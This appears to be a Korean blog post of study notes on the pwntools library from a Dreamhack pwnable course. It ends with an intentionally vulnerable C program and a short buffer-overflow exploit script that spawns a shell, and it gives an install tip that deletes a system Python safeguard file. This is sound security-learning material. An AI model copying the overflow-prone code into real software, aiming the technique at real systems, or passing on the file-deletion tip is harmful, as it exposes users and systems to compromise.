πŸ’«[Dreamhack] Tool: pwntools

beaniiΒ·2023λ…„ 11μ›” 29일

Pwnable

λͺ©λ‘ 보기
1/2
post-thumbnail

λ“œλ¦Όν•΅μ—μ„œ μ œκ³΅ν•˜λŠ” ν¬λ„ˆλΈ” κ°•μ˜ 쀑 Tool: pwntoolsλ₯Ό μˆ˜κ°•ν•˜κ³  μ •λ¦¬ν•œ 글이닀.

μ„œλ‘ 

  • pwntools의 λ“±μž₯ λ°°κ²½
    • μ΅μŠ€ν”Œλ‘œμž‡ μŠ€ν¬λ¦½νŠΈμ—μ„œ 자주 μ‚¬μš©λ˜λŠ” ν•¨μˆ˜λ“€(예. μ •μˆ˜ -> 리틀 μ—”λ””μ–Έμ˜ λ°”μ΄νŠΈ λ°°μ—΄λ‘œ λ°”κΎΈλŠ” νŒ¨ν‚Ή ν•¨μˆ˜, κ·Έ 역을 μˆ˜ν–‰ν•˜λŠ” μ–ΈνŒ¨ν‚Ή ν•¨μˆ˜ λ“±)을 반볡적으둜 κ΅¬ν˜„ν•˜λŠ” 것은 λΉ„νš¨μœ¨μ μž„
    • μ‹œμŠ€ν…œ 해컀듀이 자주 μ‚¬μš©ν•˜λŠ” ν•¨μˆ˜λ₯Ό λͺ¨μ•„놓은 파이썬 λͺ¨λ“ˆμΈ pwntoolsλ₯Ό μ œμž‘

  • pwntools μ„€μΉ˜
    • pwntoolsλŠ” 깃헙에 μ˜€ν”ˆ μ†ŒμŠ€λ‘œ κ³΅κ°œλ˜μ–΄ 있음
    • μ„€μΉ˜ λͺ…λ Ήμ–΄
      $ apt-get update
      $ apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
      $ python3 -m pip install --upgrade pip
      $ python3 -m pip install --upgrade pwntools
    • λ‚˜μ˜ 경우 python3 -m pip install --upgrade pip μ‹€ν–‰ μ‹œ "
      error: externally-managed-environment" 였λ₯˜ λ°œμƒ
      -> sudo rm /usr/lib/python3.11/EXTERNALLY-MANAGED둜 ν•΄λ‹Ή 파일 μ‚­μ œν•΄μ„œ 해결함(μ°Έκ³ )
    • pwntoolsλ₯Ό μž„ν¬νŠΈν–ˆμ„ λ•Œ μ—λŸ¬κ°€ λ°œμƒν•˜μ§€ μ•ŠμœΌλ©΄ μ œλŒ€λ‘œ μ„€μΉ˜λœ 것

pwntools API μ‚¬μš©λ²•

pwntools의 곡식 맀뉴얼: https://docs.pwntools.com/en/latest/

  1. process & remote
    • process ν•¨μˆ˜λŠ” μ΅μŠ€ν”Œλ‘œμž‡μ„ 둜컬 λ°”μ΄λ„ˆλ¦¬λ₯Ό λŒ€μƒμœΌλ‘œ ν•  λ•Œ μ‚¬μš©ν•˜λŠ” ν•¨μˆ˜
      • μ΅μŠ€ν”Œλ‘œμž‡ ν…ŒμŠ€νŠΈν•˜κ³  λ””λ²„κΉ…ν•˜κΈ° μœ„ν•΄ μ‚¬μš©
    • remote ν•¨μˆ˜λŠ” 원격 μ„œλ²„λ₯Ό λŒ€μƒμœΌλ‘œ ν•  λ•Œ μ‚¬μš©ν•˜λŠ” ν•¨μˆ˜
      • λŒ€μƒ μ„œλ²„λ₯Ό μ‹€μ œλ‘œ κ³΅κ²©ν•˜κΈ° μœ„ν•΄ μ‚¬μš©
  1. send
  • send ν•¨μˆ˜λŠ” 데이터λ₯Ό ν”„λ‘œμ„ΈμŠ€μ— μ „μ†‘ν•˜κΈ° μœ„ν•΄ μ‚¬μš©
  • pwntoolsμ—λŠ” κ΄€λ ¨λœ λ‹€μ–‘ν•œ ν•¨μˆ˜κ°€ μ •μ˜λ˜μ–΄ 있음
    • send(), sendline(), sendafter(), sendlineafter() λ“±
  1. recv
  • recv ν•¨μˆ˜λŠ” ν”„λ‘œμ„ΈμŠ€μ—μ„œ 데이터λ₯Ό λ°›κΈ° μœ„ν•΄ μ‚¬μš©
  • pwntoolsμ—λŠ” κ΄€λ ¨λœ λ‹€μ–‘ν•œ ν•¨μˆ˜κ°€ μ •μ˜λ˜μ–΄ 있음
    • recv(), recvline(), recvn(), recvuntil(), recvall() λ“±
  • recv() vs recvn()
    • recv(n)은 μ΅œλŒ€ n λ°”μ΄νŠΈλ₯Ό λ°›λŠ” 것
    • recvn(n)은 μ •ν™•νžˆ n λ°”μ΄νŠΈμ˜ 데이터λ₯Ό 받을 λ•ŒκΉŒμ§€ λŒ€κΈ°
  1. packing & unpacking
  • μ–΄λ–€ 값을 리틀 μ—”λ””μ–Έμ˜ λ°”μ΄νŠΈ λ°°μ—΄λ‘œ λ°”κΎΈκ±°λ‚˜, μ—­μ˜ 과정을 μ‹œν–‰ν•˜λŠ” ν•¨μˆ˜λ“€
    • p32(), p64(), u32(), u64() λ“±
  1. interactive
  • 셀을 νšλ“ν–ˆκ±°λ‚˜ μ΅μŠ€ν”Œλ‘œμž‡μ˜ νŠΉμ • 상황에 직접 μž…λ ₯을 μ£Όλ©΄μ„œ 좜λ ₯을 ν™•μΈν•˜κ³  싢을 λ•Œ μ‚¬μš©
  • ν˜ΈμΆœν•˜λ©΄ ν„°λ―Έλ„λ‘œ ν”„λ‘œμ„ΈμŠ€μ— 데이터λ₯Ό μž…λ ₯ν•˜κ³  ν”„λ‘œμ„ΈμŠ€μ˜ 좜λ ₯ 확인 κ°€λŠ₯
  1. ELF
  • ELF ν—€λ”μ—λŠ” μ΅μŠ€ν”Œλ‘œμž‡μ— μ‚¬μš©λ  수 μžˆλŠ” 각쒅 정보닀 κΈ°λ‘λ˜μ–΄ 있음
  • pwntoolsλ₯Ό 톡해 ELF 헀더에 λ‹΄κΈ΄ 정보 μ‰½κ²Œ μ°Έμ‘°
  1. context.log
  • μ΅μŠ€ν”Œλ‘œμž‡μ— 버그가 λ°œμƒν•˜μ—¬ 디버깅해야 ν•  λ•Œ μ‚¬μš©
  • 둜그 λ ˆλ²¨μ€ context.log_level λ³€μˆ˜λ‘œ 쑰절 κ°€λŠ₯
  1. context.arch
  • pwntoolsλŠ” μ…Έμ½”λ“œ 생성, μ½”λ“œ μ–΄μ…ˆλΈ”, λ””μŠ€μ–΄μ…ˆλΈ”ν•˜λŠ” κΈ°λŠ₯ 등을 μœ„ν•΄ μ•„ν‚€ν…μ²˜ 정보λ₯Ό ν”„λ‘œκ·Έλž˜λ¨Έκ°€ μ§€μ •ν•  수 있게 함
  1. shellcraft
  • pwntools에 자주 μ‚¬μš©λ˜λŠ” μ…Έ μ½”λ“œλ“€μ΄ μ €μž₯λ˜μ–΄ μžˆμ§€λ§Œ, μ œμ•½ 쑰건이 μ‘΄μž¬ν•˜λŠ” μƒν™©μ—μ„œλŠ” 직접 μ…Έ μ½”λ“œ μž‘μ„±ν•΄μ•Ό 함
  • x86-64 λŒ€μƒμœΌλ‘œ 생성 κ°€λŠ₯ν•œ μ—¬λŸ¬ μ’…λ₯˜μ˜ μ…Έ μ½”λ“œ(μ°Έκ³ )
  1. asm
  • pwntoolsμ—μ„œ μ œκ³΅ν•˜λŠ” μ–΄μ…ˆλΈ” κΈ°λŠ₯을 μœ„ν•΄ μ•„ν‚€ν…μ²˜ 미리 μ§€μ •

pwntools μ‹€μŠ΅

  • Cμ–Έμ–΄λ‘œ μž‘μ„±λœ rao.c 파일 μ΅μŠ€ν”Œλ‘œμž‡
// Name: rao.c
// Compile: gcc -o rao rao.c -fno-stack-protector -no-pie

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void get_shell() {
  char *cmd = "/bin/sh";
  char *args[] = {cmd, NULL};

  execve(cmd, args, NULL);
}

int main() {
  char buf[0x28];

  init();

  printf("Input: ");
  scanf("%s", buf);

  return 0;
}
#!/usr/bin/python3
#Name: rao.py

from pwn import *          # Import pwntools module

p = process('./rao')       # Spawn process './rao'

elf = ELF('./rao')
get_shell = elf.symbols['get_shell']       # The address of get_shell()

payload = b'A'*0x30        #|       buf      |  <= 'A'*0x30
payload += b'B'*0x8        #|       SFP      |  <= 'B'*0x8
payload += p64(get_shell)  #| Return address |  <= '\xaa\x06\x40\x00\x00\x00\x00\x00'

p.sendline(payload)        # Send payload to './rao'

p.interactive()            # Communicate with shell

0개의 λŒ“κΈ€